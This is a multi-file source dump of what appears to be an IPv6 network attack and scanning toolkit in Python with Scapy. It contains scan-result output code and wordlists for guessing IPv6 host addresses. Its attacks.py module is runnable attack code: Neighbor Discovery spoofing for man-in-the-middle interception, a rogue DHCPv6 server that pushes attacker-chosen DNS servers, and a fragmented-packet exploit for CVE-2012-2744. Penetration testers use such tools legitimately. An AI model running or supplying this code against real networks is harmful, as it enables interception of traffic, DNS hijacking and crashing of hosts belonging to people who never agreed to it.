values.sS or values.sA or values.sX or values.sR or values.sF or values.sN: 401 | print "IPv6 address\t\t\t\tProtocol Port\tFlags" 402 | print "-------------------------------------------" 403 | elif values.sU: 404 | print "IPv6 address\t\t\t\tProtocol Port" 405 | print "-------------------------------------------" 406 | elif values.pn: 407 | print "IPv6 address\t\t\t\t\tProtocol\t\tID" 408 | print "-------------------------------------------" 409 | elif values.tr_gen: 410 | routes=results.traceroute_results(my_results,packets_sent_list) 411 | for p in routes.keys(): 412 | print "\n",p,routes.get(p) 413 | if not values.tr_gen: 414 | opened_tcp_list,final_results=results.print_results(my_results, source_ip) 415 | #Write the results to an output file, if required 416 | if values.output_file: 417 | f = open(values.output_file,'w') 418 | f.write("\n\nScanning Complete!") 419 | f.write("\n====================\n") 420 | if values.sS or values.sA or values.sX or values.sR or values.sF or values.sN: 421 | f.write("\nIPv6 address\t\t\t\tProtocol Port\tFlags\n") 422 | elif values.sU: 423 | f.write("\nIPv6 address\t\t\t\tProtocol Port\n") 424 | elif values.pn: 425 | f.write("\nIPv6 address\t\t\t\t\tProtocol\t\tID\n") 426 | elif values.tr_gen: 427 | f.write("\n") 428 | routes=results.traceroute_results(my_results) 429 | for p in routes.keys(): 430 | f.write("\n"+str(p)+str(routes.get(p))+"\n") 431 | if not values.tr_gen: 432 | for r in my_results: 433 | f.write(str(r)+"\n") 434 | if opened_tcp_list: 435 | f.write("\n\nOPENED TCP PORTS") 436 | f.write("\n---------------\n") 437 | for r in opened_tcp_list: 438 | f.write(str(r)+"\n") 439 | f.close() 440 | 441 | def alive_results(q,source_ip,output_file): 442 | my_results=[] 443 | while not q.empty(): 444 | my_results.append(q.get()) 445 | print "\nAlive systems around... MAC/Link-Local/Global" 446 | print "==============================================" 447 | alive_systems_around=results.make_eth_link_global_pairs(my_results) 448 | results.print_results(alive_systems_around, source_ip) 449 | if output_file: 450 | f = open(output_file,'w') 451 | f.write("\nAlive systems around... MAC/Link-Local/Global\n") 452 | f.write("==============================================!\n") 453 | final_results=results.unique(alive_systems_around, source_ip) 454 | for r in final_results[0]: 455 | f.write(str(r)+"\n") 456 | f.close() 457 | 458 | if __name__ == '__main__': 459 | main() 460 | -------------------------------------------------------------------------------- /files/combinations-small.txt: -------------------------------------------------------------------------------- 1 | abba 2 | b00b 3 | b0b0 4 | babe 5 | bead 6 | beef 7 | c0c0 8 | c0ca 9 | c0de 10 | cafe 11 | dead 12 | deaf 13 | deed 14 | f00d 15 | face 16 | fade 17 | feed 18 | b00c 19 | 0000 20 | 0001 21 | -------------------------------------------------------------------------------- /files/combinations.txt: -------------------------------------------------------------------------------- 1 | 00ad 2 | 00ba 3 | 00be 4 | 00d0 5 | 00da 6 | 00ed 7 | 0ace 8 | 0ada 9 | 0add 10 | 0ade 11 | 0b00 12 | 0b0a 13 | 0b0b 14 | 0baa 15 | 0bad 16 | 0bea 17 | 0bed 18 | 0bee 19 | 0c00 20 | 0c0b 21 | 0c0d 22 | 0cab 23 | 0d0b 24 | 0d0c 25 | 0d0d 26 | 0d0e 27 | 0dab 28 | 0dad 29 | 0deb 30 | 0dee 31 | 0ebb 32 | 0f00 33 | 0f0b 34 | 0f0d 35 | 0f0e 36 | 0fad 37 | 0fae 38 | 0fed 39 | 0fee 40 | abba 41 | b00b 42 | b0b0 43 | b0de 44 | baba 45 | babe 46 | bade 47 | baff 48 | bead 49 | beef 50 | b00c 51 | c0c0 52 | c0ca 53 | c0d0 54 | c0da 55 | c0de 56 | c0ed 57 | c0ff 58 | cafe 59 | cede 60 | d00b 61 | d0d0 62 | d0de 63 | dada 64 | dead 65 | deaf 66 | deed 67 | f00d 68 | f0ad 69 | face 70 | fade 71 | faff 72 | feed 73 | 1337 74 | 0000 75 | 1111 76 | 2222 77 | 3333 78 | 4444 79 | 5555 80 | 6666 81 | 7777 82 | 8888 83 | 9999 84 | aaaa 85 | bbbb 86 | cccc 87 | dddd 88 | eeee 89 | ffff 90 | 00ff 91 | abab 92 | -------------------------------------------------------------------------------- /files/my_combinations-test.txt: -------------------------------------------------------------------------------- 1 | :face:b00c:face:face 2 | :face:b00c:face:b00c 3 | :face:b00c:face:0000 4 | :face:b00c:face:0001 5 | :face:b00c:b00c:face 6 | :face:b00c:b00c:b00c 7 | :face:b00c:b00c:0000 8 | :face:b00c:b00c:0001 9 | :face:b00c:0000:face 10 | :face:b00c:0000:b00c 11 | :face:b00c:0000:0000 12 | :face:b00c:0000:0001 13 | :face:b00c:0001:face 14 | :face:b00c:0001:b00c 15 | :face:b00c:0001:0000 16 | :face:b00c:0001:0001 17 | -------------------------------------------------------------------------------- /files/my_combinations-tiny.txt: -------------------------------------------------------------------------------- 1 | :face:face:face:face 2 | :face:face:face:b00c 3 | :face:face:face:0000 4 | :face:face:face:0001 5 | :face:face:b00c:face 6 | :face:face:b00c:b00c 7 | :face:face:b00c:0000 8 | :face:face:b00c:0001 9 | :face:face:0000:face 10 | :face:face:0000:b00c 11 | :face:face:0000:0000 12 | :face:face:0000:0001 13 | :face:face:0001:face 14 | :face:face:0001:b00c 15 | :face:face:0001:0000 16 | :face:face:0001:0001 17 | :face:b00c:face:face 18 | :face:b00c:face:b00c 19 | :face:b00c:face:0000 20 | :face:b00c:face:0001 21 | :face:b00c:b00c:face 22 | :face:b00c:b00c:b00c 23 | :face:b00c:b00c:0000 24 | :face:b00c:b00c:0001 25 | :face:b00c:0000:face 26 | :face:b00c:0000:b00c 27 | :face:b00c:0000:0000 28 | :face:b00c:0000:0001 29 | :face:b00c:0001:face 30 | :face:b00c:0001:b00c 31 | :face:b00c:0001:0000 32 | :face:b00c:0001:0001 33 | :face:0000:face:face 34 | :face:0000:face:b00c 35 | :face:0000:face:0000 36 | :face:0000:face:0001 37 | :face:0000:b00c:face 38 | :face:0000:b00c:b00c 39 | :face:0000:b00c:0000 40 | :face:0000:b00c:0001 41 | :face:0000:0000:face 42 | :face:0000:0000:b00c 43 | :face:0000:0000:0000 44 | :face:0000:0000:0001 45 | :face:0000:0001:face 46 | :face:0000:0001:b00c 47 | :face:0000:0001:0000 48 | :face:0000:0001:0001 49 | :face:0001:face:face 50 | :face:0001:face:b00c 51 | :face:0001:face:0000 52 | :face:0001:face:0001 53 | :face:0001:b00c:face 54 | :face:0001:b00c:b00c 55 | :face:0001:b00c:0000 56 | :face:0001:b00c:0001 57 | :face:0001:0000:face 58 | :face:0001:0000:b00c 59 | :face:0001:0000:0000 60 | :face:0001:0000:0001 61 | :face:0001:0001:face 62 | :face:0001:0001:b00c 63 | :face:0001:0001:0000 64 | :face:0001:0001:0001 65 | :b00c:face:face:face 66 | :b00c:face:face:b00c 67 | :b00c:face:face:0000 68 | :b00c:face:face:0001 69 | :b00c:face:b00c:face 70 | :b00c:face:b00c:b00c 71 | :b00c:face:b00c:0000 72 | :b00c:face:b00c:0001 73 | :b00c:face:0000:face 74 | :b00c:face:0000:b00c 75 | :b00c:face:0000:0000 76 | :b00c:face:0000:0001 77 | :b00c:face:0001:face 78 | :b00c:face:0001:b00c 79 | :b00c:face:0001:0000 80 | :b00c:face:0001:0001 81 | :b00c:b00c:face:face 82 | :b00c:b00c:face:b00c 83 | :b00c:b00c:face:0000 84 | :b00c:b00c:face:0001 85 | :b00c:b00c:b00c:face 86 | :b00c:b00c:b00c:b00c 87 | :b00c:b00c:b00c:0000 88 | :b00c:b00c:b00c:0001 89 | :b00c:b00c:0000:face 90 | :b00c:b00c:0000:b00c 91 | :b00c:b00c:0000:0000 92 | :b00c:b00c:0000:0001 93 | :b00c:b00c:0001:face 94 | :b00c:b00c:0001:b00c 95 | :b00c:b00c:0001:0000 96 | :b00c:b00c:0001:0001 97 | :b00c:0000:face:face 98 | :b00c:0000:face:b00c 99 | :b00c:0000:face:0000 100 | :b00c:0000:face:0001 101 | :b00c:0000:b00c:face 102 | :b00c:0000:b00c:b00c 103 | :b00c:0000:b00c:0000 104 | :b00c:0000:b00c:0001 105 | :b00c:0000:0000:face 106 | :b00c:0000:0000:b00c 107 | :b00c:0000:0000:0000 108 | :b00c:0000:0000:0001 109 | :b00c:0000:0001:face 110 | :b00c:0000:0001:b00c 111 | :b00c:0000:0001:0000 112 | :b00c:0000:0001:0001 113 | :b00c:0001:face:face 114 | :b00c:0001:face:b00c 115 | :b00c:0001:face:0000 116 | :b00c:0001:face:0001 117 | :b00c:0001:b00c:face 118 | :b00c:0001:b00c:b00c 119 | :b00c:0001:b00c:0000 120 | :b00c:0001:b00c:0001 121 | :b00c:0001:0000:face 122 | :b00c:0001:0000:b00c 123 | :b00c:0001:0000:0000 124 | :b00c:0001:0000:0001 125 | :b00c:0001:0001:face 126 | :b00c:0001:0001:b00c 127 | :b00c:0001:0001:0000 128 | :b00c:0001:0001:0001 129 | :0000:face:face:face 130 | :0000:face:face:b00c 131 | :0000:face:face:0000 132 | :0000:face:face:0001 133 | :0000:face:b00c:face 134 | :0000:face:b00c:b00c 135 | :0000:face:b00c:0000 136 | :0000:face:b00c:0001 137 | :0000:face:0000:face 138 | :0000:face:0000:b00c 139 | :0000:face:0000:0000 140 | :0000:face:0000:0001 141 | :0000:face:0001:face 142 | :0000:face:0001:b00c 143 | :0000:face:0001:0000 144 | :0000:face:0001:0001 145 | :0000:b00c:face:face 146 | :0000:b00c:face:b00c 147 | :0000:b00c:face:0000 148 | :0000:b00c:face:0001 149 | :0000:b00c:b00c:face 150 | :0000:b00c:b00c:b00c 151 | :0000:b00c:b00c:0000 152 | :0000:b00c:b00c:0001 153 | :0000:b00c:0000:face 154 | :0000:b00c:0000:b00c 155 | :0000:b00c:0000:0000 156 | :0000:b00c:0000:0001 157 | :0000:b00c:0001:face 158 | :0000:b00c:0001:b00c 159 | :0000:b00c:0001:0000 160 | :0000:b00c:0001:0001 161 | :0000:0000:face:face 162 | :0000:0000:face:b00c 163 | :0000:0000:face:0000 164 | :0000:0000:face:0001 165 | :0000:0000:b00c:face 166 | :0000:0000:b00c:b00c 167 | :0000:0000:b00c:0000 168 | :0000:0000:b00c:0001 169 | :0000:0000:0000:face 170 | :0000:0000:0000:b00c 171 | :0000:0000:0000:0000 172 | :0000:0000:0000:0001 173 | :0000:0000:0001:face 174 | :0000:0000:0001:b00c 175 | :0000:0000:0001:0000 176 | :0000:0000:0001:0001 177 | :0000:0001:face:face 178 | :0000:0001:face:b00c 179 | :0000:0001:face:0000 180 | :0000:0001:face:0001 181 | :0000:0001:b00c:face 182 | :0000:0001:b00c:b00c 183 | :0000:0001:b00c:0000 184 | :0000:0001:b00c:0001 185 | :0000:0001:0000:face 186 | :0000:0001:0000:b00c 187 | :0000:0001:0000:0000 188 | :0000:0001:0000:0001 189 | :0000:0001:0001:face 190 | :0000:0001:0001:b00c 191 | :0000:0001:0001:0000 192 | :0000:0001:0001:0001 193 | :0001:face:face:face 194 | :0001:face:face:b00c 195 | :0001:face:face:0000 196 | :0001:face:face:0001 197 | :0001:face:b00c:face 198 | :0001:face:b00c:b00c 199 | :0001:face:b00c:0000 200 | :0001:face:b00c:0001 201 | :0001:face:0000:face 202 | :0001:face:0000:b00c 203 | :0001:face:0000:0000 204 | :0001:face:0000:0001 205 | :0001:face:0001:face 206 | :0001:face:0001:b00c 207 | :0001:face:0001:0000 208 | :0001:face:0001:0001 209 | :0001:b00c:face:face 210 | :0001:b00c:face:b00c 211 | :0001:b00c:face:0000 212 | :0001:b00c:face:0001 213 | :0001:b00c:b00c:face 214 | :0001:b00c:b00c:b00c 215 | :0001:b00c:b00c:0000 216 | :0001:b00c:b00c:0001 217 | :0001:b00c:0000:face 218 | :0001:b00c:0000:b00c 219 | :0001:b00c:0000:0000 220 | :0001:b00c:0000:0001 221 | :0001:b00c:0001:face 222 | :0001:b00c:0001:b00c 223 | :0001:b00c:0001:0000 224 | :0001:b00c:0001:0001 225 | :0001:0000:face:face 226 | :0001:0000:face:b00c 227 | :0001:0000:face:0000 228 | :0001:0000:face:0001 229 | :0001:0000:b00c:face 230 | :0001:0000:b00c:b00c 231 | :0001:0000:b00c:0000 232 | :0001:0000:b00c:0001 233 | :0001:0000:0000:face 234 | :0001:0000:0000:b00c 235 | :0001:0000:0000:0000 236 | :0001:0000:0000:0001 237 | :0001:0000:0001:face 238 | :0001:0000:0001:b00c 239 | :0001:0000:0001:0000 240 | :0001:0000:0001:0001 241 | :0001:0001:face:face 242 | :0001:0001:face:b00c 243 | :0001:0001:face:0000 244 | :0001:0001:face:0001 245 | :0001:0001:b00c:face 246 | :0001:0001:b00c:b00c 247 | :0001:0001:b00c:0000 248 | :0001:0001:b00c:0001 249 | :0001:0001:0000:face 250 | :0001:0001:0000:b00c 251 | :0001:0001:0000:0000 252 | :0001:0001:0000:0001 253 | :0001:0001:0001:face 254 | :0001:0001:0001:b00c 255 | :0001:0001:0001:0000 256 | :0001:0001:0001:0001 257 | -------------------------------------------------------------------------------- /files/my_combinations-verysmall.txt: -------------------------------------------------------------------------------- 1 | :0000:0000:f00d:face 2 | :0000:0000:f00d:fade 3 | :0000:0000:f00d:feed 4 | :0000:0000:f00d:0000 5 | :0000:0000:face:abba 6 | :0000:0000:face:b00b 7 | :0000:0000:face:b0b0 8 | :0000:0000:face:babe 9 | :0000:0000:face:bead 10 | :0000:0000:face:beef 11 | :0000:0000:face:c0c0 12 | :0000:0000:face:c0ca 13 | :0000:0000:face:c0de 14 | :0000:0000:face:cafe 15 | :0000:0000:face:dead 16 | :0000:0000:face:deaf 17 | :0000:0000:face:deed 18 | :0000:0000:face:f00d 19 | :0000:0000:face:face 20 | :0000:0000:face:fade 21 | :0000:0000:face:feed 22 | :0000:0000:face:0000 23 | :0000:0000:fade:abba 24 | :0000:0000:fade:b00b 25 | :0000:0000:fade:b0b0 26 | :0000:0000:fade:babe 27 | :0000:0000:fade:bead 28 | :0000:0000:fade:beef 29 | :0000:0000:fade:c0c0 30 | :0000:0000:fade:c0ca 31 | :0000:0000:fade:c0de 32 | :0000:0000:fade:cafe 33 | :0000:0000:fade:dead 34 | :0000:0000:fade:deaf 35 | :0000:0000:fade:deed 36 | :0000:0000:fade:f00d 37 | :0000:0000:fade:face 38 | :0000:0000:fade:fade 39 | :0000:0000:fade:feed 40 | :0000:0000:fade:0000 41 | :0000:0000:feed:abba 42 | :0000:0000:feed:b00b 43 | :0000:0000:feed:b0b0 44 | :0000:0000:feed:babe 45 | :0000:0000:feed:bead 46 | :0000:0000:feed:beef 47 | :0000:0000:feed:c0c0 48 | :0000:0000:feed:c0ca 49 | :0000:0000:feed:c0de 50 | :0000:0000:feed:cafe 51 | :0000:0000:feed:dead 52 | :0000:0000:feed:deaf 53 | :0000:0000:feed:deed 54 | :0000:0000:feed:f00d 55 | :0000:0000:feed:face 56 | :0000:0000:feed:fade 57 | :0000:0000:feed:feed 58 | :0000:0000:feed:0000 59 | :0000:0000:0000:abba 60 | :0000:0000:0000:b00b 61 | :0000:0000:0000:b0b0 62 | :0000:0000:0000:babe 63 | :0000:0000:0000:bead 64 | :0000:0000:0000:beef 65 | :0000:0000:0000:c0c0 66 | :0000:0000:0000:c0ca 67 | :0000:0000:0000:c0de 68 | :0000:0000:0000:cafe 69 | :0000:0000:0000:dead 70 | :0000:0000:0000:deaf 71 | :0000:0000:0000:deed 72 | :0000:0000:0000:f00d 73 | :0000:0000:0000:face 74 | :0000:0000:0000:fade 75 | :0000:0000:0000:feed 76 | :0000:0000:0000:0000 77 | :face:b00c:0:1 -------------------------------------------------------------------------------- /lib/address_generators.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: address_generators.py 3 | import random 4 | version = '0.9' 5 | 6 | #Given a range of IPv6 addresses, it generates a list of them. 7 | def generate_ranges(vdestination): 8 | hex_parts= vdestination.split(":") 9 | ip_list=[] 10 | for hex_part in hex_parts: 11 | hex_list=[] 12 | if hex_part.find('-')!=-1: # found 13 | hex_numbers=hex_part.split("-") 14 | start = int(hex_numbers[0], 16) 15 | end = int(hex_numbers[1], 16) 16 | if start > end: 17 | print "in the specified hex range in your IPv6 addresses, you must define the smallest value first" 18 | exit(1) 19 | for i in xrange(start, end + 1): 20 | #print format(i, 'X') 21 | hex_list.append(format(i, 'x')) 22 | new_ip_list = [] 23 | for ip in ip_list: 24 | for l in hex_list: 25 | new_ip_list.append(ip+":"+l) 26 | ip_list = new_ip_list 27 | else: 28 | if not ip_list: 29 | ip_list.append(hex_part) 30 | else: 31 | new_ip_list = [] 32 | for ip in ip_list: 33 | new_ip_list.append(ip+":"+hex_part) 34 | ip_list = new_ip_list 35 | return ip_list 36 | 37 | def generate_random_ipv6(ipv6_prefix): 38 | myprefix=ipv6_prefix.strip(":") 39 | subnets=myprefix.split(":") 40 | count=0 41 | for s in subnets: 42 | if s: 43 | count = count + 1 44 | M = 16**4 45 | rand_ipv6= myprefix+":" + ":".join(("%x" % random.randint(0, M) for i in range(8-count))) 46 | return rand_ipv6.strip(":") 47 | 48 | def generate_random_mac(): 49 | return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3E, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF) ])) 50 | 51 | version = '0.9' 52 | # End of address_generators.py 53 | -------------------------------------------------------------------------------- /lib/attacks.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: attacks.py 3 | import random 4 | #import create_layers 5 | import scapy.all 6 | #from scapy.all import * 7 | #from fileio import * 8 | import ipaddr 9 | import netaddr 10 | #from checkip import * 11 | #from netaddr import * 12 | #from create_layers import * 13 | import address_generators 14 | import create_extension_headers_chain 15 | import create_layer4 16 | version = '0.9' 17 | 18 | ################################################################### 19 | ####################FOR MITM ATTACK################################ 20 | ################################################################### 21 | def find_mac_using_spoofed_source(source, destination_list, interface, mac_source): 22 | addresses={} 23 | for dest in destination_list: 24 | for spoofer in destination_list: 25 | if not spoofer==dest: 26 | print "Spoofing Neighbor Solicitation from ",spoofer,"to",dest,"using MAC address",mac_source 27 | new_address = neighbor_solicitation_spoofing(spoofer, dest, interface, mac_source) 28 | addresses.update(new_address) 29 | return addresses 30 | 31 | def neighbor_solicitation_spoofing(spoofed_source, target, myinterface, mac): 32 | solicited_node_multicast_address_prefix="ff02::1:ff" 33 | addr6 = ipaddr.IPv6Address(target) 34 | exploded=addr6.exploded 35 | length=len(exploded) 36 | suffix=exploded[(length-2):length] 37 | other=exploded[(length-4):(length-2)] 38 | the_other=exploded[(length-7):(length-5)] 39 | addresses={} 40 | #ns=ICMPv6ND_NS(tgt=target, R=0, S=0, O=1)/ICMPv6NDOptDstLLAddr(type=1,lladdr=mac) 41 | ns=scapy.layers.inet6.ICMPv6ND_NS(tgt=target)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(type=1,lladdr=mac) 42 | multi_address=solicited_node_multicast_address_prefix+the_other+":"+other+suffix 43 | packet=scapy.layers.inet6.IPv6(src=spoofed_source,dst=multi_address)/ns 44 | dest_multi_mac="33:33:ff:"+the_other+":"+other+":"+suffix 45 | ans,unan=scapy.sendrecv.srp(scapy.layers.l2.Ether(src=mac, dst=dest_multi_mac)/packet,iface=myinterface, timeout=2) 46 | for s,r in ans: 47 | try: 48 | addresses.update({r[IPv6].src:r[scapy.layers.l2.Ether].src}) 49 | except: 50 | print "target",target, "was not found" 51 | return addresses 52 | 53 | def unsoliceted_neighbor_advertisement_spoofing(victim, myinterface, mac_source): 54 | targets=victim.keys() 55 | spoof_neighbor_advertisement(victim, myinterface, mac_source) 56 | 57 | def spoof_neighbor_advertisement(target, myinterface, mac_source): 58 | targets=target.keys() 59 | for dest in targets: 60 | for spoofed_target in targets: 61 | if not (spoofed_target == dest): 62 | na=scapy.layers.inet6.ICMPv6ND_NA(tgt=spoofed_target, R=0, S=0, O=1)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(type=2,lladdr=mac_source) 63 | packet=scapy.layers.inet6.IPv6(src=spoofed_target,dst=dest)/na 64 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst=target[dest])/packet,iface=myinterface) 65 | print "spoofed packet sent to", dest, "as", spoofed_target, "using MAC address", mac_source 66 | 67 | def soliceted_neighbor_advertisement_spoofing(packets,mac_source, myinterface): 68 | if packets[scapy.layers.inet6.IPv6].dst[0:7] == "ff02::1": 69 | mytarget=packets.payload.payload.tgt 70 | myvictim_ip=packets.payload.src 71 | myvictim_ether=packets.src 72 | na=scapy.layers.inet6.ICMPv6ND_NA(tgt=mytarget, R=0, S=1, O=1)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(lladdr=mac_source) 73 | packet=scapy.layers.inet6.IPv6(src=mytarget,dst=myvictim_ip)/na 74 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst=myvictim_ether)/packet,iface=myinterface) 75 | print "spoofed packet sent to MAC", myvictim_ether, "IP", myvictim_ip, "as", mytarget, "using MAC address", mac_source 76 | na=scapy.layers.inet6.ICMPv6ND_NA(tgt=mytarget, R=0, S=0, O=1)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(lladdr=mac_source) 77 | packet=scapy.layers.inet6.IPv6(src=mytarget,dst=myvictim_ip)/na 78 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst=myvictim_ether)/packet,iface=myinterface) 79 | print "spoofed packet sent to MAC", myvictim_ether, "IP", myvictim_ip, "as", mytarget, "using MAC address", mac_source 80 | #spoof_neighbor_advertisement() 81 | else: 82 | mytarget=packets[scapy.layers.inet6.IPv6].dst 83 | #na=scapy.layers.inet6.ICMPv6ND_NA(tgt=mytarget, R=0, S=1, O=1)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(lladdr=mac_source) 84 | na=scapy.layers.inet6.ICMPv6ND_NA(tgt=mytarget, R=0, S=1, O=1) 85 | packet=scapy.layers.inet6.IPv6(src=mytarget,dst=packets.payload.src)/na 86 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst=packets.src)/packet,iface=myinterface) 87 | print "spoofed packet sent to MAC", packets.src, "IP ", packets.payload.src, "as", mytarget, "using MAC address", mac_source 88 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst=packets.src)/packet,iface=myinterface) 89 | 90 | 91 | ################################################################### 92 | ###################### FOR DHCPV6 ################################ 93 | ################################################################### 94 | 95 | def DHCPv6_Response(mac_source, source_ip, macdst, ipv6dst, Trid, ClientID_len, ClientID_duid, IaId, type_of_message, assigned_IPv6_addresses_cache, myinterface, dhcpv6_preference, prefered_lft,valid_lft,DNS_Domain_name,DNS_Servers, list_of_unfragmented_ext_headers,list_of_fragmented_ext_headers,size_of_extheaders, number_of_fragments,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,myprefix,unfragmentable_part,size_of_unfragmentable_part,first_next_header_value,fragmentable_extension_headers,size_of_fragmentable_extension_headers,s): 96 | iana = scapy.layers.dhcp6.DHCP6OptIA_NA() 97 | iana.iaid=IaId 98 | iana.T1 = 0 99 | iana.T2 = 0 100 | iana.optlen=12 + 28 #12 for the DHCP6OptIA_NA and 28 for one DHCP6OptIAAddress 101 | ia_address = scapy.layers.dhcp6.DHCP6OptIAAddress() 102 | ia_address.preflft = prefered_lft 103 | ia_address.validlft = valid_lft 104 | ClientID=scapy.layers.dhcp6.DHCP6OptClientId(optlen=ClientID_len, duid=ClientID_duid) 105 | ServerID=scapy.layers.dhcp6.DHCP6OptServerId() 106 | ServerID.duid = ("00030001"+ str(netaddr.EUI(mac_source)).replace("-","")).decode("hex") 107 | DNSDomains=scapy.layers.dhcp6.DHCP6OptDNSDomains() 108 | DNSDomains.dnsdomains=[DNS_Domain_name] 109 | DNSServers=scapy.layers.dhcp6.DHCP6OptDNSServers() 110 | DNSServers.dnsservers=[DNS_Servers] 111 | 112 | provided_IPv6_address=assigned_IPv6_addresses_cache.get(macdst) 113 | if not provided_IPv6_address: 114 | provided_IPv6_address=address_generators.generate_random_ipv6(myprefix) 115 | assigned_IPv6_addresses_cache[macdst]=provided_IPv6_address 116 | ia_address.addr= provided_IPv6_address 117 | 118 | if type_of_message=="Advertise": 119 | message_type = scapy.layers.dhcp6.DHCP6_Advertise(trid=Trid) 120 | print "DHCPv6 Advertise packet sent with Transaction ID", Trid,"to",macdst,"with IPv6 Address",provided_IPv6_address 121 | elif type_of_message=="Reply": 122 | message_type = scapy.layers.dhcp6.DHCP6_Reply(trid=Trid) 123 | print "DHCPv6 Reply packet sent with Transaction ID", Trid,"to",macdst,"with IPv6 Address",provided_IPv6_address 124 | dhcpv6pkt = message_type/iana/ia_address/ClientID/scapy.layers.dhcp6.DHCP6OptPref(prefval= dhcpv6_preference)/ServerID/DNSServers/DNSDomains 125 | packets=create_extension_headers_chain.create_datagram(mac_source,macdst,int(number_of_fragments),list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,-1,unfragmentable_part,size_of_unfragmentable_part,first_next_header_value,fragmentable_extension_headers,size_of_fragmentable_extension_headers,create_layer4.udp_packet_id(546,dhcpv6pkt,547)) 126 | create_extension_headers_chain.send_packets(s,packets,0) 127 | 128 | ################################################################### 129 | ###################### CVE 2012-2744############################### 130 | ################################################################### 131 | def CVE_2012_2744(interface,mac_source,sip,dip,layer2_addr): 132 | myid=random.randrange(1,4294967296,1) #generate a random fragmentation id 133 | payload1=scapy.packet.Raw("AABBCCDD") 134 | icmpv6=scapy.layers.inet6.ICMPv6EchoRequest(data=payload1) 135 | ipv6_1=scapy.layers.inet6.IPv6(src=sip, dst=dip, plen=24) 136 | ipv6_2=scapy.layers.inet6.IPv6(src=sip, dst=dip, plen=16) 137 | csum=scapy.layers.inet6.in6_chksum(58, ipv6_1/icmpv6, str(icmpv6)) 138 | icmpv6=scapy.layers.inet6.ICMPv6EchoRequest(cksum=csum, data=payload1) 139 | frag1=scapy.layers.inet6.IPv6ExtHdrFragment(offset=0, m=1, id=myid) 140 | frag2=scapy.layers.inet6.IPv6ExtHdrFragment(offset=1, m=0, id=myid) 141 | packet1=ipv6_1/frag1/icmpv6 142 | packet2=ipv6_2/frag2/payload1 143 | layer2=scapy.layers.l2.Ether(src=mac_source,dst=layer2_addr) 144 | scapy.sendrecv.sendp(layer2/packet2,iface=interface) 145 | scapy.sendrecv.sendp(layer2/packet1,iface=interface) 146 | ##References## 147 | ##http://www.securiteam.com/cves/2012/CVE-2012-2744.html 148 | ##http://www.securityfocus.com/bid/54367/exploit 149 | 150 | version = '0.9' 151 | # End of attacks.py 152 | -------------------------------------------------------------------------------- /lib/auxiliary_functions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: auxiliary_functions.py 3 | import scapy.all 4 | version = '0.9' 5 | 6 | def get_my_ip(interface): 7 | myip="" 8 | try: 9 | mymac = scapy.layers.l2.get_if_hwaddr(interface) #my MAC address 10 | for ifaces in scapy.arch.linux.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc 11 | if ifaces[2]==interface: 12 | if not myip: 13 | myip=ifaces[0] 14 | elif myip[0:6] == "fe80::": 15 | myip=ifaces[0] 16 | return myip 17 | except: 18 | print "The interface",interface,"does not exist. Please, try again." 19 | exit(0) 20 | 21 | def get_my_link_local_ip(interface): 22 | myip="" 23 | try: 24 | mymac = scapy.layers.l2.get_if_hwaddr(interface) #my MAC address 25 | for ifaces in scapy.arch.linux.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc 26 | if ifaces[2]==interface: 27 | if ifaces[0][0:6] == "fe80::": 28 | myip=ifaces[0] 29 | break 30 | return myip 31 | except: 32 | print "The interface",interface,"does not exist. Please, try again." 33 | exit(0) 34 | 35 | ###GET THE GATEWAY MAC ADDRES### 36 | def get_gw_mac(vgateway,vinterface,ip_list,source_ip): 37 | gw_mac="" 38 | if vgateway: 39 | targets=ip_list 40 | gw_mac = configure_routing(source_ip, vgateway, vinterface) 41 | print "The MAC address of your gateway is", gw_mac 42 | else: 43 | scapy.route6.conf.route6.resync() 44 | p=scapy.route6.conf.route6.route("::/0",dev=vinterface) 45 | if not p[0] == vinterface: 46 | print "System's default gateway for interface",vinterface,"not found, or there are two default gateways" 47 | print "If you need to use a gateway, you must define it on your own" 48 | elif not p[1][0:6] == "fe80::": 49 | gw_mac=find_single_mac(p[1], p[2], p[0]) 50 | print "Using system's default gateway",p[1],"with MAC address",gw_mac,"if needed" 51 | return gw_mac 52 | 53 | def find_single_mac(source, destination, interface): 54 | if source==destination: 55 | return scapy.layers.l2.get_if_hwaddr(interface) 56 | else: 57 | p=scapy.layers.inet6.neighsol(destination,source,interface,0) 58 | if p: 59 | return p.lladdr 60 | else: 61 | #for ifaces in scapy.layers.inet6.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc 62 | for ifaces in scapy.route6.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc 63 | if ifaces[0]==destination: 64 | return scapy.layers.l2.get_if_hwaddr(interface) 65 | 66 | def configure_routing(source, gateway, interface): 67 | p=scapy.layers.inet6.neighsol(gateway,source,interface,0) 68 | scapy.route6.conf.route6.add(dst="::/0", gw=gateway, dev=interface) 69 | try: 70 | return p.lladdr 71 | except: 72 | print "Gateway ",gateway," was not found" 73 | exit(0) 74 | 75 | version = '0.9' 76 | # End of auxiliary_functions.py 77 | -------------------------------------------------------------------------------- /lib/checkings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: checkings.py 3 | version = '0.9' 4 | 5 | def check_fragmentation_parameters(vlist_of_fragment_lengths,vlist_of_offsets,vlist_of_fragment_m_bits,vlist_of_next_headers,vnumber_of_fragments): 6 | list_of_next_headers=[] 7 | list_of_offsets=[] 8 | list_of_fragment_m_bits=[] 9 | list_of_fragment_lengths=[] 10 | ###List of fragment lengths to be used in the IPv6 Frgment Extension Headers### 